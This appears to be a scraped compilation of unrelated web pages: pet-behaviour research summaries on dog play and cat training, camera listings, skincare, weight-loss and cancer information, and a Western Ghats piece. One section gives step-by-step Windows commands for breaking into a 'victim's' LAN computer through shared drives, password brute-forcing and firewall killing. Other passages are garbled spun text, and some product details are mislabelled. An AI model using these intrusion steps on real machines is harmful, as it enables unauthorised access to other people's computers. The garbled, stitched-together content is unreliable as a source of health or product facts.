The researchers say that although several studies have looked at different types of reward in dog training, research is needed on the use of play as positive reinforcement. They say that using play to promote the adoption of shelter dogs is another example of using play to improve welfare.

So why do dogs play?

Ultimately, dogs play because it helps them learn motor skills, build social cohesion and prepare for unexpected things to happen so they can cope better when they do. Different stages of play may have different functions, with the beginning and end of a play bout especially important for social cohesion, while the main part of play is most important for learning motor skills and preparing for the unexpected.

“Regular, real play between a dog and owner does not revolve around commands,
and is important to strengthen their bond.”

The review did not find evidence for the idea that play is simply a side-effect of other processes. But it did find that play per se is not necessarily a sign of good welfare; in some cases, it may indicate welfare issues.

The scientists also say that other possible reasons for play need more research, such as whether or not it helps with cognitive development or coping with stress.

This is a fascinating paper. The idea that play is multi-faceted and was probably selected for in domestication is also supported by Bradshaw et al’s (2015) review of play behaviour in adult dogs. I look forward to seeing a lot more research on how and why dogs play!

What does it mean for your dog?

Although the paper does not specifically consider the implications for dog owners, there are some things to bear in mind.

Play fulfils several important functions. So next time you see puppies playing, remember it’s not just fun – they are practising useful skills and building social relationships.

It can be hard for people to find suitable (safe) playmates for new puppies, so a good puppy class should include opportunities for play. This will help your puppy to develop useful skills for later in life. Play should be a positive experience, so expect the dog trainer to monitor it carefully. If at any time you are not sure if your puppy is enjoying it, do a consent test: separate the puppies and see if they both want to return to play or not.

Remember that puppies coming from commercial breeding establishments may not have had many play opportunities with their littermates because of the environment in which they are raised (see: potential causes of problems in pet store puppies). In this case, it may be even more important to have play sessions during puppy class so they can learn appropriate canine social skills. (Note that puppy class is just for puppies, not adult dogs, because of the risks of infection and in case the adult dogs are not well socialized).

If you have one of those adult dogs who is lacking in play skills or bullies other dogs, a good dog trainer will be able to help. Kristi Benson CTC explains how to improve play skills here. Since dog training is not regulated, make sure you find a good dog trainer.

Of course the main take-away for dog owners is that it’s important to play with your dog because it helps to strengthen the human-animal bond.

You can follow the first author, Rebecca Sommerville, on twitter.

For more posts like this, subscribe to Companion Animal Psychology.

How do you like to play with your dog?

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Bradshaw, J. W., Pullen, A. J., & Rooney, N. J. (2015). Why do adult dogs ‘play’?. Behavioural processes, 110, 82-87. https://doi.org/10.1016/j.beproc.2014.09.023
Sommerville, R., O’Connor, E. A., & Asher, L. (2017). Why do dogs play? A review of the function of play in the domestic dog. Applied Animal Behaviour Science. https://doi.org/10.1016/j.applanim.2017.09.007

You might also like:
Playtime after training improves a dogs memory
The function of play bows in dog and wolf puppies

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Fathers Day Quotes From Daughters English Hindi Gujarati

Fathers Day Quotes From Daughters English Hindi Gujarati

#FathersDay Quotes From Daughters English Hindi Gujarati

 – https://shar.es/12HZt8

#quotes #pictures #fathersday2015

Hacking Anothers Computer Using IP Address

The first thing you needed to specify is whether the IP address obtained by you is in your LAN?

If its in your LAN,then follow these steps:

1) Run cmd(commandprompt)

2) Type nbtstat -A

For example,if you have found the IP address available and with open ports,then type:
nbtstat -A
If you get the hex code <20> beside the name of the victim’s computer, then it means that the victim’s computer has sharing enabled(Its a good sign!)

3) Now if you get that hex code <20> then type:

net use z: \

It shows ‘The command completed successfully

4) Now open My computer,there you will find the drive Z,open it,its the shared documents folder of the victim.

5) Now if you want to access the drives of that system,then run cmd,then type:
net use y: \$ “” /u:””

Now it will prompt for you to give the username and password of that system…The username will be shown on the drive Z as ‘SharedDocs on xxxxxx(

6) Try guessing the password or Bruteforce it. After getting the password,type it and you will get the access to your target computer.

7) If the message ‘Access is denied‘ appears,then it means you have to evade his firewall..,use Firekill Firewall Killer2000

8)After doing this,repeat the step 5 and give the username and password and it will surely show
The command completed successfully.

9) Thats it…you will be in the root of the victim’s com.

(Plz note: Do this act only to prevent hacking, not to implement it.)

12 Megapixel Digital Cameras Prices


In earlier phase when digital cameras were only 2 or 3 MP’s, each megapixel mattered if you were making bigger prints. There was little observable difference between cameras with apparently different ratings. For instance, a 3 MP camera pretty much looks the same as a 6 MP camera, even when blown up to 12 x 18″ (30x50cm)!
Sharpness depends more on your photographic skill than the number of megapixels, because most people’s careless technique or subject motion blurs the image more than the width of a microscopic pixel. Color and quality are far more important theoretically. Some lower resolution digital cameras made better images than some higher resolution ones.

12 Megapixels Cameras

Resolution of 12 megapixel cameras pictures at 4200-pixels-by-2800-pixels pictures taken with the cameras print out in sizes up to 16-inches-by-24-inches with a clear resolution. 12 megapixels cameras are use for the pros, its detail needs to be managed and changed, enlarged, cropped and turned into the kind of work you see in National Geographic kind of channels.
  Panasonic Lumix DMC TZ7 300x182 12 Megapixel Digital Cameras Prices
Panasonic Lumix DMC TZ7
Panasonic introduced the Lumix DMC-TZ7 as the most up-to-date member of its commended TZ series. With 10.1-megapixel, a 25mm ultra-wide-angle lens and 12x optical zoom, the Lumix TZ7 (in the USA known as Lumix ZS3) is a valuable addition to a series of digital cameras that have won worldwide popularity for packing powerful zoom lenses into compact bodies. The Panasonic Lumix TZ7 is a powerhouse performer with massive adaptability.

  • The Panasonic DMC-TZ7 is the world’s first digital camera that records motion image in AVCHD Lite.
  • Panasonic’s brainy Auto mode function makes it easy to get sharp and clear photos iA mode is also available in Movie Mode this consist of Face Recognition, which “remembers” faces from previous shots.
  • Have the benefit of images and movies on the 3″ LCD screen by just inserting the SDHC/SD memory card from the camera in the VIERA Image Viewer (built-in SDHC/SD Memory Card slot) on a VIERA HDTV to start playback. The Lumix TZ7 features a 3-inch, high resolution 460,000-dot Intelligent LCD with a wide viewing angle, improving visibility during recording & playback.
  • The Panasonic Lumix TZ7 digital camera features a premium quality of Leica DC Vario Elmar 25mm ultra-wide-angle lens with a 12x optical zoom. A lens like this, with a range from 25mm to 300mm in 35mm film. The Extra Optical Zoom function that extends zoom power to 21.4x (at 3-megapixel resolution) by using the center part of the large CCD to bring subjects even closer without fading the image quality.
  • The Lumix DMC-TZ7 has a 12-megapixel CCD and shoots with up to 10-megapixel resolution. This is because the CCD on the Panasonic Lumix TZ7 is multi-aspect that can reproduce images shot with the lens so you can always capture vibrant, richly expressive shots with a wide viewpoint.
  • Available functions in motion image recording mode the Panasonic Lumix DMC-TZ7 also provides a Color mode and carries over 17 different scene modes from photo scene modes in movie recording. In AVCHD Lite recording, you can select from three levels of motion image quality: SH (17 Mbps), H (13 Mbps) and L (9 Mbps).
  • Panasonic DMC-TZ7 Quick AF system makes focusing easy keep focus on the theme while the camera is in recording mode even before pressing the shutter button halfway. This improves the result out of a shutter chance because the focus is always near the subject and AF time is minimized.
  • Panasonic Lumix functions continue to evolve. Thanks to a rich variety of 27 scene modes for still image and 17 for motion image (Portrait, Soft Skin, Transform, Self portrait, Scenery, Low light, Food, Party, Candle light, Sunset, Beach, Snow, Aerial, High Sensitivity, Pin hole, Film grain and Underwater), capturing attractive videos is effortless with the DMC-TZ7. With the new Macro Zoom function.
  • The latest version of the exciting bundled software PHOTOfunSTUDIO 3.0 HD Edition allows you to view, edit and archive your captured contents with greater ease and fun. Still and motion images can be transferred to the PC via a USB cable for screening and archiving on the PC with the PHOTOfunSTUDIO 3.0 HD Edition installed.
  • The Panasonic Lumix DMC TZ7 camera will be available in silver, blue of about Rs. 24990.00

Sony CyberShot DSC W510 300x170 12 Megapixel Digital Cameras Prices
Sony CyberShot DSC W510

Among the new Sony cameras CyberShot DSC-W510 contain SteadyShot image stabilization that reduces blur, iAuto mode that mechanically optimizes camera settings plus Face Detection and Smile Shutter technology, making it easy and affordable to get the best shot.


  • 26mm equivalent lens with 4x optical zoom
  • Capture breathtaking images in Sweep Panorama mode
  • SteadyShot image stabilization reduces blur
  • 12.1-megapixel 2.7-inch LCD screen for easy viewing
  • Panorama pictures mode, utilizes a CCD sensor to capture dramatic panoramic scenes. The Sony CyberShot W510 camera shoots images incessantly to capture wide landscapes or tall buildings in one easy “press and sweep” motion. Images are automatically stitched together to create one astonishing panoramic photo.
  • The spot, “In-Camera Guide” is accessible from the menu button on the Sony W510 digital camera and allows users to easily search by purpose or keyword for functions they seek.
  • Pictures in high quality Intelligent Auto (iAUTO) mode automatically adjusts exposure and other camera settings for finest results in a wide range of shooting situations.
  • Photos upload memory to your favorite sharing sites on the web with a few mouse clicks. PMB Portable software inside the camera lets you select and transfer photos and video clips to any web-connected PC
  • Enhanced Face Detection automatically adjusts camera settings for clear, crisp results with natural skin tones. Smile Shutter fires the shutter automatically when your subject smiles capture beautiful, smiling portraits of friends and family without fuss to capture those happy moments.
  • Wide angle Lens lets you pack more into the picture without having to stand further back from the subject. Like landscapes, architectural shots, interiors and even family scenes can produce disappointing results when a scene gets cut off at the edges.
  • The Sony CyberShot DSC-W510 camera will be available in silver, black, pink and red of about Rs.6990.00.  
Fujifilm FinePix F200EXR 300x250 12 Megapixel Digital Cameras Prices
Fujifilm FinePix F200EXR
The FinePix F200EXR is designed to be perfect camera for the photographic aficionado. It utilizes brand new, ground-breaking technology to create a unique level of image quality from a consumer level compact.


  • Brand NEW Super CCD EXR 12 megapixel switchable sensor
  • 5x (28-140mm) wide-angle optical zoom lens
  • Dual image stabilization
  • 3” clear view LCD screen
  • Ultra high sensitivity in low light (ISO 6400 at 12MP resolution & 12800 at 3MP resolution)
  • Full manual controls (aperture & shutter priority)
  • EXR Auto (Portrait, Night, Macro, Landscape. Night portrait & Backlit portrait)
  • Film recreation mode (Standard, Vivid, Soft, Black & White, Sepia)
  • Full Photo HD output
  • A Super CCD capable of registering excellent levels of detail when switched to its high resolution mode,
  • Prepared with flexible photographic sensor by the demand for higher pixel counts, yet conscious that high concentrations of pixels on small sensors can produce diminishing quality returns, Fujifilm engineers had a drastic rethink about sensor technology.
  • The Fuji FinePix F200EXR offers 3 modes in one sensor:
    • High Resolution mode, which organize all twelve million pixels
    • High Sensitivity and Low Noise mode, which caps 2 adjoining pixels together to produce 6 million large photo-diodes.
    • Wide Dynamic Range mode, which captures different experience with two sets of six million pixels,
    • Photographic versatility is extended yet further with the addition of six Film Simulation modes. Producing beautiful images is something which is in the very DNA of Fujifilm, and Fujifilm engineers are determined to leverage the considerable strengths gained through years of perfecting film to making the best sensor possible
    • Images captured by the Fujifilm FinePix F200 EXR look breathtaking when displayed on an HDTV. With standard HD cameras, HD-out means pictures can be displayed in the correct aspect ratio in excellent resolution.
    • The Fujifilm FinePix F200EXR will be available in silver & black of about Rs. 20,999.

Olympus T 110 Digital Camera 300x222 12 Megapixel Digital Cameras Prices
Olympus T-110 Digital Camera
The Olympus T-110 is a compact digital camera that merges small form factors with slim, stylish designs and extremely easy operation. Olympus compact camera automatically identify 4 different types of scenes (Portrait, Landscape, Night Scene & Portrait, Macro) and adjusts the digital camera settings accordingly.
  • The new Olympus digital camera uses a SD or SDHC flash memory card to store the data on. The Olympus T-110 camera runs on a LI-80B Lithium Ion battery that needs to be charged via a battery charger. It is also possible to choose for USB charging.
  • The back of the Olympus T-110 digital camera shows a 2.7-inch LCD display. The Olympus compact camera needs a standard optical viewfinder.
  • The Magic Filter, you can choose from four different effects (Pop art, Drawing, Pin hole, Fish eye) that make photography more electrifying
  • As well as still images at 12 Megapixel resolution the Olympus T-110 compact camera can also capture standard movies at VGA (640 x 480 pixels) resolution.
  • For shooting fancy portraits the camera supports Face Detection AF with which the camera detects and focuses on human faces automatically.
  • Help Guide that displays easy-to-understand explanations about camera modes and other functions to help users make the best selection.
  • The Olympus T-110 will be available in silver of about Rs. 5,999.

Canon PowerShot SX130 IS 300x265 12 Megapixel Digital Cameras Prices
 Canon PowerShot SX130 IS
Replacing the popular PowerShot SX120 IS, this new camera model offers a mass of intellectual features to make it easier to confine important moments in both high-quality still images and High Definition movies. With its compact design, spontaneous controls and long zoom lens, this is the perfect camera for those who want an easy-to-use, take-anywhere digital camera.


  • 12x, wide-angle (28mm) lens with IS
  • 12.1 MP CCD
  • Smart Auto and Easy modes detect 28 scene types
  • 7.5 cm (3.0″) LCD
  • HD movies
  • Smart Shutter with Wink Self-Timer
  • Shooting modes include Miniature Effect movie
  • Hints & Tips
  • Full Manual control
  • i-Contrast
  • 12.1 Megapixel sensor for large, comprehensive prints, and DIGIC 4 image processing, The 12x optical zoom ranges from wide angle (28mm) to telephoto (336mm), making the camera equally ideal for wide-angle group shots and taking on sightseeing trips.
  • The large, 7.5cm (3.0”) LCD screen, with a 230k dot resolution and optional on-screen Hints & Tips. A wide viewing angle also enables shooting from awkward angles, as well as sharing the results with groups of friends immediately after the picture is taken.
  • Supports 720p HD video with stereo sound, new SDXC memory cards, enabling up to 2TB of video and full-resolution stills to be stored without needing to change card.
  • Servo AF and AE automatically adjusts focus and exposure when tracking a moving subject, while Smart Shutter with Face Detection technology, controlling the shutter with a wink & Blink detection of the subjects has their eyes closed, allowing a better image to be shot.
  • Miniature Effect is available in both movie and still image capture, mimicking the effects of a tilt-shift lens to give subjects a model-like profile. Fish-eye Effect replicates the distortion of a fish-eye lens, adding a new angle to portrait and landscape shots. Super Vivid boosts color dispersion, while Poster
  • Share photos via Canon iMAGE Gateway and video up to 2GB of personal storage capacity is available, Mobile browsing is also supported.
  • The Canon SX130 IS will be available in Black of about Rs. 12,995.
Nikon Coolpix S5100 Digital Camera 300x187 12 Megapixel Digital Cameras Prices
 Nikon Coolpix S5100
  • With 5x optical zoom and a range of 28-140 mm (35mm equivalent), joined to a CCD image sensor with an effective resolution of 12.2 Megapixels, the Nikon S5100 fits nicely in between them.
  • The new EXPEED 2 processor camera, with video and a better performance of the high ISOs.
  • ViewNX 2 is now delivered with all Nikon cameras, compact as well as DSLR, and guarantees a user-friendly method of image editing and management. The creative proletarian photographer can live it up with this software.
  • It is a camera that you can carry in your pocket just like your cell phone and use at any time to capture a favorite moment. The wide angle zoom with a light tele of 140mm makes it possible to shoot all-round.
  • The 5x optical zoom is supported by a built-in optical image stabilizer (VR), also automatically detects if the camera is on a tripod or hand-held. Such detection optimizes the camera settings.
  • The Canon SX130 IS will be available in Pink, Red, Purple & Black of about Rs. 10000.

How to Prevent Blackheads : Simple Steps to Minimize Blackheads – Beauty Tips

How to Prevent Blackheads

Blackheads, those tiny black dots that usually appear on your nose and cheeks, can be a nuisance – especially for those with oily or combination skin types. Believe it or not, blackheads are simply clogged pores that have been exposed to air. As oil becomes trapped within the pore, it’s prone to air exposure, turning the trapped oil at the base of the pore black.

How to Prevent Blackheads : Simple Steps to Minimize Blackheads

Fortunately, there are solutions you can use right now to minimize blackheads. Simply follow the steps below:

Cleanse: Use a water-soluble skin cleanser, preferably in gel form twice daily. Cleansing skin daily helps to remove oil build-up and sustains healthy skin.

Tone: Toners are too often skipped due to confusion with astringents. Toners are alcohol-free and do not contain the usual irritants found in astringents. Toning helps remove the last traces of makeup and dirt that your cleanser may have left behind and should be applied directly after cleansing skin.

Exfoliate: Exfoliation is the key to minimizing blackheads – a step that should never be skipped. Exfoliants such as beta hydroxy acids (BHAs) penetrate and exfoliate within the pore lining, going through the thickened oil inside the pore. No other exfoliant, including alpha hydroxyl acids (AHAs) or topical scrubs can do this. Use a 1 to 2% BHA exfoliate twice a week until your skin becomes acquainted with the product. After that, apply every other day – careful to avoid contact with the eye area.

Oil Absorption: Use oil blotting sheets throughout the day to absorb excess oil. In the evening, using a clay mask designed for oily skin will help minimize shine and control excessive oil production.

Remember: Blackheads are formed from the production of excessive oil within the pore so your goal is to minimize and control excess oil by:

* Removing dead skin cells that lay atop the skin
* Reducing the amount of oil produced within the pore
* Minimizing irritation

If your blackheads are stubborn, don’t hesitate to see your favorite dermatologist about prescription options such as retinoids. Your dermatologist can also extract the blackheads for you. However, if you’re savvy with a comedone extractor, you can remove them yourself.

Further, to minimize oil and the formation of blackheads, try a light-weight, liquid moisturizer with a combination of oil-controlling ingredients such as tea tree oil, vitamin C, and vitamin B3 (niacinamide). The moisturizer you choose should reduce the amount of oil produced within the pore, calm irritation, and minimize the formation of blackheads.

The Best Way to Train Cats is With Food

Using food alone is the quickest way to train cats to touch a target, according to this pilot study.

How to train cats, like this beautiful white cat with blue eyes
Photo: Esin Deniz (Shutterstock)

You can train cats to go up to a target and touch it with their nose. This in itself will be news to many people, but researchers at Massey University have investigated the best way to train cats to do this. It involves food.

There’s a lot of interest in training cats at the moment, not necessarily to perform obedience behaviours like sit and stay, but to help them in their daily lives. You can teach your cat to like going in their cat carrier so trips to the vet don’t have to begin with you getting scratched-up arms. And you can use positive reinforcement to help teach your cat where they are allowed to scratch (along with provision of the right scratching post, of course).

Erin Willson et al picked the behaviour of touching a red wand target with the nose, and set about training 9 cats to do this. They divided them into three groups: one that was rewarded with food alone, one that used a bridging stimulus (a beep followed by the food reward), and one that used a secondary reinforcer only (a beep – previously associated with food – but no food).

The first two of these conditions will be familiar to dog trainers who use positive reinforcement, since they equate to the use of food only or to click-plus-treat. The last condition may have some of you thinking back to an interesting talk by Simon Gadbois at SPARCS about the clicker and the emotions of seeking vs liking (you can read a nice summary and discussion on Patricia McConnell’s blog).

The scientists concluded that both food alone and the bridging stimulus (beep plus food) worked, but that food alone was faster. The secondary reinforcer only (beep but no food) did not work. In fact cats in this group began scratching and biting the experimenter.

This is only a small study so there weren’t really enough cats to draw firm conclusions about training methods.  Nonetheless the results are very interesting, and it is really nice to see cat training getting the attention of researchers.

The study used a Treat & Train, which is an automatic food dispenser. The red wand target comes with the machine.

12 cats from the university’s feline unit took part in the study. They were aged 2 to 12 years.

Use food to train cats, like this calico cat sitting pretty for a treat
Photo: Kristi Blokhin (Shutterstock)

3 of them took part in what is called an extinction procedure. First they were taught that the beep from the Treat and Train machine meant food was about to arrive. The next day they heard the beeps without any food arriving, to see how long it would take for their response to the beep to extinguish (in other words, until they stopped approaching for food). The median response was 11 trials. This was important information for one of the conditions in the experiment.

9 cats were trained to nose-touch the target using a standardized plan. This was a shaping procedure, so cats were initially rewarded for just looking at the target, then for getting progressively closer until eventually they were expected to touch it with their nose.

The cats were divided into three groups. A beep is meaningless to a cat, so two of the groups (the bridge group and the secondary reinforcer group) were taught to associate the beep from the machine with food. Food is a primary reinforcer because it naturally has value to cats.

The food-only group got to hang out with the machine without any beeping, so that time with the machine would not be a factor.

During the training sessions, the food-only group was rewarded with food from the Treat and Train whenever they performed the correct behaviour. The machine was set up not to beep.

For the bridge group, the beep of the machine was used as a bridge, something that marks the right behaviour and fills the time until the arrival of food. In this condition, the beep is always followed by food. When the cat performed the correct behaviour, the machine beeped, and then food arrived.

For the last group, the beep was used as a secondary reinforcer. In other words, when cats performed the right behaviour, they heard the beep but did not get food. These cats were given some additional beep-food pairings to maintain this association and prevent its extinction (that’s why the first part of the experiment was important).

All of the cats in the food-only group and the bridging stimulus group (beep plus food) learned the behaviour. The group reinforced with food-only was faster at learning the task, but took the same amount of trials as the bridge group.

None of the cats in the secondary reinforcer (beep-only) group learned it. As mentioned above, the cats in this group began to scratch and bite the experimenter. Perhaps they were frustrated that they could not figure out how to get the food. (This reminds me of the study of the Eureka effect in dogs, where dogs became reluctant to enter the experimental area when they could not make the reward happen).

So if you are planning to train a cat, you should use food. (Incidentally, food is also important when training dogs).

The experimenters used a piece of Hill’s kibble as the reward.  If you’re training a cat at home, you might find other kinds of food more motivating; see my interview with Sarah Ellis on The Trainable Cat for some ideas.

The results of this study are broadly in line with Chiandetti et al’s (2016) dog training study, which found no difference between use of food only, clicker-plus-food, or verbal-marker-plus food (that study did not test a secondary-reinforcer-only option).

The cats were assigned to groups in the order they happened to participate, and it turned out three older cats were assigned to the secondary-reinforcer-only group. We don’t know if age and gender of the cats would make any difference to trainability and this would be another topic for future research.

The authors conclude,

“the use of a primary reinforcer, alone, or a bridging stimulus (followed by a primary reinforcer) appeared to be efficacious for training cats to perform a novel task. However, the primary reinforcer, alone, may be a more time efficient method. The use of a secondary reinforcer, alone, may not be efficacious.”

Incidentally, learning to touch a target with the nose may seem like a trick, but it has its uses. Some people train their dogs to touch a target (such as their hand) and hold in place. It’s called a stationing behaviour because it keeps the dog still at a station, and can be useful during veterinary examinations.

This is a fascinating study and I hope to see lots more research on cat training in the future.

Have you ever tried to train a cat? If so, how did it go?

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Further Reading on Cat Training

If you want to know more about how to train cats, you might like these books:

The Trainable Cat: A Practical Guide to Making Life Happier for You and Your Cat by John Bradshaw and Sarah Ellis. (This is a must-read for all cat owners).
Clicker Training for Cats by Karen Pryor – also available as part of a kit: Karen Pryor, Getting Started: Clicker Training for Cats Kit.
Cat Training in 10 Minutes by Miriam Fields Babineau.
Trick Training for Cats by Christine Hauschild.

Willson, E. K., Stratton, R. B., Bolwell, C. F., & Stafford, K. J. (2017). Comparison of positive reinforcement training in cats: a pilot study. Journal of Veterinary Behavior: Clinical Applications and Research.

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What is Leukemia

Leukemia is usually thought of as a children’s condition, but it actually affects more adults. It’s more common in men than women, and more in whites than African-Americans.
There’s really nothing you can do to prevent leukemia. It’s cancer of your blood cells caused by a rise in the number of white blood cells in your body. They crowd out the red blood cells and platelets your body needs to be healthy. All those extra white blood cells don’t work right, and that causes problems.

How Does It Happen?

Blood has three types of cells: white blood cells that fight infection, red blood cells that carry oxygen, and platelets that help blood to clot.

Every day, billions of new blood cells are made in the bone marrow — most of them red cells. But when you have leukemia, your body makes more white cells than it needs.

There are two main types of white blood cells in your body: lymphoid cells and myeloid cells. Leukemia can happen in either type.
These leukemia cells can’t fight infection the way normal white blood cells do. And because there are so many of them, they start to affect the way your major organs work. Eventually, there aren’t enough red blood cells to supply oxygen, enough platelets to clot the blood, or enough normal white blood cells to fight infection.

Along with infection, this can cause problems like anemia, bruising, and bleeding.

Types of Leukemia

Leukemia is grouped in two ways:

  • How fast it develops and gets worse
  • Which type of blood cell is involved (usually myeloid or lymphoid)

These types are then put into one of two categories: acute or chronic.

  • Acute leukemia happens when most of the abnormal blood cells stay immature and can’t carry out normal functions. It can get bad very fast.
  • Chronic leukemia happens when there are some immature cells, but others are normal and can function normally. That means it gets bad, but more slowly.


No one knows exactly what causes leukemia. People who have it have certain abnormal chromosomes, but the chromosomes don’t cause the leukemia.
You can’t really prevent leukemia, but it may be possible that certain things in your environment could trigger the development of it. For example, if you are a tobacco smoker, you are more prone to some types of leukemia than a nonsmoker. It’s also associated with a high amount of radiation exposure and certain chemicals.

Some kinds of chemotherapy and radiation therapy used to treat other cancers can actually cause leukemia. The chance that you’ll develop leukemia depends on the types of chemotherapy drugs used.

Family history is another risk factor for leukemia. For example, if an identical twin gets a certain type of leukemia, there is a 20% chance the other twin will have it within a year.


The treatment you get depends on the type of leukemia you have, how far it has spread, and how healthy you are. But the main options are:

  • Chemotherapy
  • Radiation
  • Biologic therapy
  • Targeted therapy
  • Stem cell transplant
  • Surgery

Chemotherapy uses drugs to kill cancer cells in your blood and bone marrow. You can get the medicine:
  • Through an injection into a vein or muscle
  • As a pill
  • Into the fluid around your spinal cord 

Radiation uses high-energy X-rays to kill leukemia cells or keep them from growing. You can get it in only one part of your body where there are a lot of cancer cells, or all over.

Biologic therapy, also called immunotherapy, helps your immune system find and attack cancer cells. Drugs like interleukins and interferon can help boost your body’s natural defenses against leukemia.

Targeted therapy uses drugs to block specific genes or proteins that cancer cells need to grow. This treatment can stop the signals leukemia cells use to grow and divide, cut off their blood supply, or kill them directly.

Stem cell transplant replaces the leukemia cells in your bone marrow with new ones that make blood. Your doctor can get the new stem cells from your own body or from a donor. First you’ll have high doses of chemotherapy to destroy thecancer cells in your bone marrow. Then you’ll get the new stem cells through an infusion into one of your veins. They will grow into new, healthy blood cells.

Surgery. Your doctor can remove your spleen if it is filled with cancer cells and is pressing on nearby organs. This procedure is called splenectomy.

Treatment decisions for pleural mesothelioma

Find out about how your doctor decides which treatment you need, the types of treatment you might have and treatment by stage.

Deciding which treatment you need

Treatment decisions for pleural mesothelioma

A team of doctors and other professionals discuss the best treatment and care for you. They are called a multidisciplinary team (MDT).

The treatment you have depends on:

  • where your cancer is
  • how far it has grown or spread (the stage)
  • the type of cancer
  • your general health and level of fitness

Your doctor will discuss your treatment, its benefits and the possible side effects with you.

The main treatments

Unfortunately mesothelioma can be very difficult to treat as it is often found when it is advanced. Nearly all treatment aims to control your mesothelioma for as long as possible and keep your symptoms under control.

Some people with early stage mesothelioma have surgery. This is followed by chemotherapy or radiotherapy or a combination of both.

People with more advanced mesothelioma might have chemotherapy to shrink it and reduce symptoms. Chemotherapy can help some people live weeks or months longer. Radiotherapy might also shrink the cancer and control your symptoms.


You might have chemotherapy for early stage pleural mesothelioma, alongside surgery and radiotherapy.

Chemotherapy can also help to shrink or control advanced pleural mesothelioma for some time.


You might have radiotherapy to control the symptoms of mesothelioma. It can also slow down the growth of your tumour.


Surgery can be used to try to completely remove the mesothelioma. 

For people with advanced mesothelioma, the surgery aims to remove as much tumour as possible to relieve symptoms. This is called palliative surgery or debulking.

Supportive care (palliative care)

Mesothelioma is often diagnosed when it is quite advanced. Some people with very advanced mesotheliomamight be too ill to cope with treatments such as chemotherapy, radiotherapy or surgery. But you can still have treatment to relieve symptoms such as pain, breathing problems and weight loss.

This is called palliative care. It is managed by a team of doctors and nurses who are experts in controlling symptoms of advanced cancer. The team might also include a physiotherapist and dietician.

Clinical trials to improve treatment

Your doctor might ask if you’d like to take part in a clinical trial. Doctors and researchers do trials to make existing treatments better and develop new treatments.

Western Ghats, India

Western Ghats

Mountain range of the Western Ghats, a global biodiversity hotspot, in the north of the river Tapti southern tip of India along the west coast of India.

They are positioned so rich in biodiversity, biogeography unique Western Ghats – a veritable treasure trove of biodiversity. Although covering an area of ​​180,000 square kilometers, 6% of India’s land area, just under that contains more than 30 percent of all plants, fish, cranes, animals, birds and mammal species found in India’s Western Ghats. Many species are endemic, such as Nilgiri tahr (Hemitragus hylocrius) and lion-tailed macaque (Macaca Silenus), in fact, India’s amphibians and 50%, 67% of fish are endemic to the area .
The area has a spectacular combination of large mammals – about 30% of the world’s Asian elephant (Elephas maximus) population and 17% of the world’s existing tiger (Panthera tigris) call this area their home. Through a number of important national wildlife sanctuaries, tiger reserves, national parks protect these extensions.

Western Ghats, including a diversity of ecosystems, from tropical wet evergreen forest mountain grassland, containing a variety of medicinal plants and important genetic resources, such as wild relatives of cereals, fruits and spices. They also include a unique ecosystem consisting of Saura mountain grasslands dotted with evergreen broadleaf forest patches.

Western Ghats perform important hydrological and watershed functions. Approximately 245 million people live in the Indian peninsula receives originated most of the Western Ghats water. Thus, the region’s soil and water to maintain the livelihoods of millions. With the Indo-Malayan region may be an exception, no other biodiversity hotspots affect the lives of such a large population.

Historically, the World Wildlife Fund (WWF) India has been considerable in the region a strong presence. From the MacArthur Foundation and the Ford Foundation’s support through the protection of biodiversity “hotspots” program (1993-2005), since the early 1990s, the organization has been actively involved in the Western Ghats region. The current focus of the work has been to identify and map important wildlife corridors, human-elephant conflict mitigation, strengthening protected area management, and promote sustainable livelihoods and assess the status of key species like tigers and Nilgiri tahr development and protection outside protected areas policies. State and local government agencies, civil society organizations and community groups in the region have developed a strong relationship and partnership.

Fathers Day Best Quotes And Poems

Fathers Day Best Quotes And Poems

Fathers Day Best Quotes And Poems –


#poems#FathersDay #FathersDay2015 #quotes #sayings

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5 Tips for Losing Five Pounds a Week!-quick and easy weight loss

Does any of the following sound familiar?

You desperately desire to lose weight, but you’ve endeavoured so numerous distinct eating sparingly and failed over the years that you’ve developed discouraged.

Let’s face it, most diets aren’t easy to maintain — they’re conceived to get heaviness off … not for your individual convenience. And once you go off the diet, the weight arrives right back, along with a bit more. therefore, you end up poorer off than before.

No issue what diet you try – from the cabbage broth diet to the expert Cleanser to low-fat eating sparingly such as the Atkins Diet – one of two things generally happens:

• You lose some weight – along with your sanity as life becomes an unbearable drudge of dull nourishment and not enough of it.

• You don’t lose heaviness because you just will not stick to that diet.

In either case, you feel awful … discouraged … perhaps even like a malfunction. But, take heart, losing heaviness is likely. In detail, here are five easy yet sound tips that when followed could effortlessly endow you to lose five pounds, or more, a week!

tilt #1 – Cut the Carbs! Cutting down on your carbohydrate intake, especially white carbs (that is, carbs from white baked baked bread, potatoes, etc.) and instead consuming more high value lean proteins (such as chicken and fish) is a large way to fall a few pounds rapidly. But don’t slash carbs completely! You should still consume fibrous carbs, such as edible kernels, spinach and apples.

tilt #2 – Stop consuming Processed nourishment! rather than consume more fruits, vegetables and entire kernels. Often, persons who are utilised to eating a allotment of junk food will find out they can actually a higher amount of delicious fruits, vegetables and entire grains without gaining any heaviness.

tilt #3 – Cut Down on Your Sugar Intake! In particular, watch how numerous sodas or juice drinks you consume. The sugar in these beverages can add up quickly and these beverages aren’t loading. You should also watch out for “fat-free” goods. Sugar is often utilised to restore the taste that is lost when the fat is removed. You will furthermore desire to be very cautious about how much sugar you add to coffee and tea.

tilt #4 – Drink More Water! Water routinely assists to stifle your appetite and consuming at smallest 8 crystal of water a day will help you misplace heaviness and set alight fat. On the other hand, if you don’t drink sufficient water every day, your body may shop water and fat that you don’t need. To work out how much water you should drink: multiply your bodyweight by .66 to get the required number of ounces per day.

Tip #5 – workout More Often! The healthiest way to misplace heaviness is to exercise. Someone who increases the allowance they exercise, but maintains the same diet and calorie intake, will nearly certainly misplace heaviness. in addition to, excessive sweating from cardio undertaking, such as running, strolling and using aerobic gym gear, will help you de-bloat and misplace inches and pounds rapidly.

But a word of caution, if you haven’t exercised in a while be certain to ascertain with your physician first and furthermore be certain to start any workout program gradually.

Companion Animal Psychology News December 2017

Unexpected friendships and the cat on the stove: make sure you haven’t missed a thing with the latest newsletter from Companion Animal Psychology.

A cat and dog relax on the bed with the newspaper

Some of my favourites from around the web this month

“…the importance of knowing basic aspects of dog behavior for people who choose to share their lives with a canine companion, letting dogs be dogs, paying attention to the dogs’ point of view…” How to give dogs the best lives possible in a human world. Marc Bekoff PhD follows up on one of my recent blog posts.

“Until we know more, I think we should assume that cats have needs while we are gone, and even if they aren’t meeting us at the front door.” Does your cat miss you when you’re gone by Mikel Delgado PhD.

